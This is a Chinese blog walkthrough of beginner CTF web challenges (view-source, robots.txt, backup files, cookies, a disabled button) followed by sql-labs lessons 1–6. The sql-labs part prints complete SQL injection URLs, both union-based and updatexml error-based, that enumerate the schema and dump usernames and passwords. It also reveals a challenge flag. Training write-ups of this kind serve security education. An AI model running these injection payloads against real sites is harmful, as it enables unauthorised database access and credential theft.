《攻防世界》 SQL_LABS

Posted yxltx_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《攻防世界》 SQL_LABS相关的知识,希望对你有一定的参考价值。

《攻防世界》

第一道题 view-source

题目

 解法:

一.点击网址

 二.使用 Ctrl+U查看源代码

 flag: cyberpeace{0fbc7858812876713975c740d40002e3} 

第二道题 robots

 

在网站根目录上加上f1ag_1s_h3re.php

得到flag

robots协议

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)

 第三道题 back up

在根目录中输入/index.php.bak

 打开文本,找到flag

 

 第四道题 cookie

 点击网址 按f12找到cookie,发现cookie.php

 将cookie.php输入根目录中,找到flag

 

 cookie是一些数据,储存在电脑上的文本文件中,cookie的作用就是用于解决如何让记录客户端的用户信息

第五题 disabled_button

点击网址 打开网页 按F12

 

 

 

 

发现按钮不能按是因为源码中有disabled 删除disabled

得到flag

disabled 属性规定应该禁用 input 元素。被禁用的 input 元素既不可用,也不可点击

 

sql-labs

Less-1

判断注入类型


URL地址中输入http://sql-labs-15:8039/Less-1/?id=1 and1=2 页面运行正常,SQL语句中没有语法错误但有明显逻辑错误,所以为字符型注入

 注入单引号‘出现sql语法错误,为字符型注入

查询字段数

URL地址中输入http://sql-labs-15:8039/Less-1/?id=1' order by 1--+

http://sql-labs-15:8039/Less-1/?id=1' order by 1,2--+

http://sql-labs-15:8039/Less-1/?id=1' order by 1,2,3--+

 http://sql-labs-15:8039/Less-1/?id=1' order by 1,2,3,4--+此时报错,说明字段数为3

 使用union联合查询http://sql-labs-15:8039/Less-1/?id=1' order by 1,2,3--+

 

开始注入

查询数据库

输入http://sql-labs-15:8039/Less-1/?id=0' union select  1,2,database()--+ 

获取当前数据库名称:security

查询表名

输入http://sql-labs-15:8039/Less-1/?id=54'  union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+得到当前数据库下的所有表名

 查询列名

输入http://sql-labs-15:8039/Less-1/?id=54'  union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users")--+得到列名

查询用户名和密码

输入http://sql-labs-15:8039/Less-1/?id=54'  union select 1,group_concat(username),group_concat(password) from users--+

 Less-2

判断输入类型

注入单引号,页面运行正常,为数字型注入

查询字段数

 

当在URL地址中输入 http://sql-labs-15:8039/Less-2/?id=1 order by 4,页面报错,输入http://sql-labs-15:8039/Less-2/?id=1 order by 3时,页面正常运行,所以字段数是3

 开始注入

查询数据库

输入http://sql-labs-15:8039/Less-2/?id=-1 union select 1,2,database(),得到库名为security

查询表名 

输入 http://sql-labs-15:8039/Less-2/?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security"),得到当前数据库下的所有表名

查询列名

输入 http://sql-labs-15:8039/Less-2/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users"),得到当前表名下的所有列名

查询用户名和密码

输入http://sql-labs-15:8039/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users查询到所有的账户名和密码

Less-3 

判断注入类型

输入 http://sql-labs-15:8039/Less-3/?id=1'页面运行错误

shuru

 输入http://sql-labs-15:8039/Less-3/?id=1 ') or 1=1 --+页面运行正常,为’)字符型注入

判断字段数

输入http://sql-labs-15:8039/Less-3/?id=1 ') order by 3 --+,页面显示正常,输入http://sql-labs-15:8039/Less-3/?id=1 ') order by 4 --+,页面报错,可判断字段数为3

开始查询

确定字段数后,使用union select联合查询

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,3--+

查询数据库

输入http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,database()--+,得到数据库名security

查询表名

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+得到当前数据库下的所有表名

查询列名

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users")--+得到当前表的所有列名

查询用户名和密码

输入 http://sql-labs-15:8039/Less-3/?id=-1 ') union select 1,group_concat(username),group_concat(password) from users--+,得到所有的用户名和密码

Less-4

判断字符类型

 

输入http://sql-labs-15:8039/Less-4/?id=)页面运行正常

输入 http://sql-labs-15:8039/Less-4/?id=")页面报错,所以闭合方式为“)

结合源码

 判断字段数

 输入http://sql-labs-15:8039/Less-4/?id=1") order by 3--+页面运行正常

 输入http://sql-labs-15:8039/Less-4/?id=1") order by 4--+页面报错,我们可以知到字段数为3

联合查询

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,3--+

开始注入

查询数据库

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,database()--+得到当前数据库名为security

查询表名

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+查询到当前数据库下的所有表名

查询列名

输入 http://sql-labs-15:8039/Less-4/?id=-1") union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users")--+

查询用户名和密码

输入http://sql-labs-15:8039/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users--+ 得到所有的用户名和密码

Less-5

判断字段数

 输入http://sql-labs-15:8039/Less-5/?id=1 order by 3显示出You are in......无显示位,考虑使用SQL语句中的报错函数updatexml()

查询数据库

输入 http://sql-labs-15:8039/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+后,报错显示出了数据库名security

查表名

 输入http://sql-labs-15:8039/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+报错出现所有表名

查列名

http://sql-labs-15:8039/Less-5/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security"and table_name="users"),0x7e),1)--+

Less-6

与第五题一致,无显示位,继续使用updatexml()进行报错查询

查询数据

查询表名 

 

查列名 

以上是关于《攻防世界》 SQL_LABS的主要内容,如果未能解决你的问题,请参考以下文章

攻防世界-杂项-Misc

攻防世界(解密篇Crypto)---混合编码

手机版我的世界起床战争攻防模式房主怎么开创造?

攻防世界-evil

攻防世界 Reverse高手进阶区 2分题 easyre-153

攻防世界 bug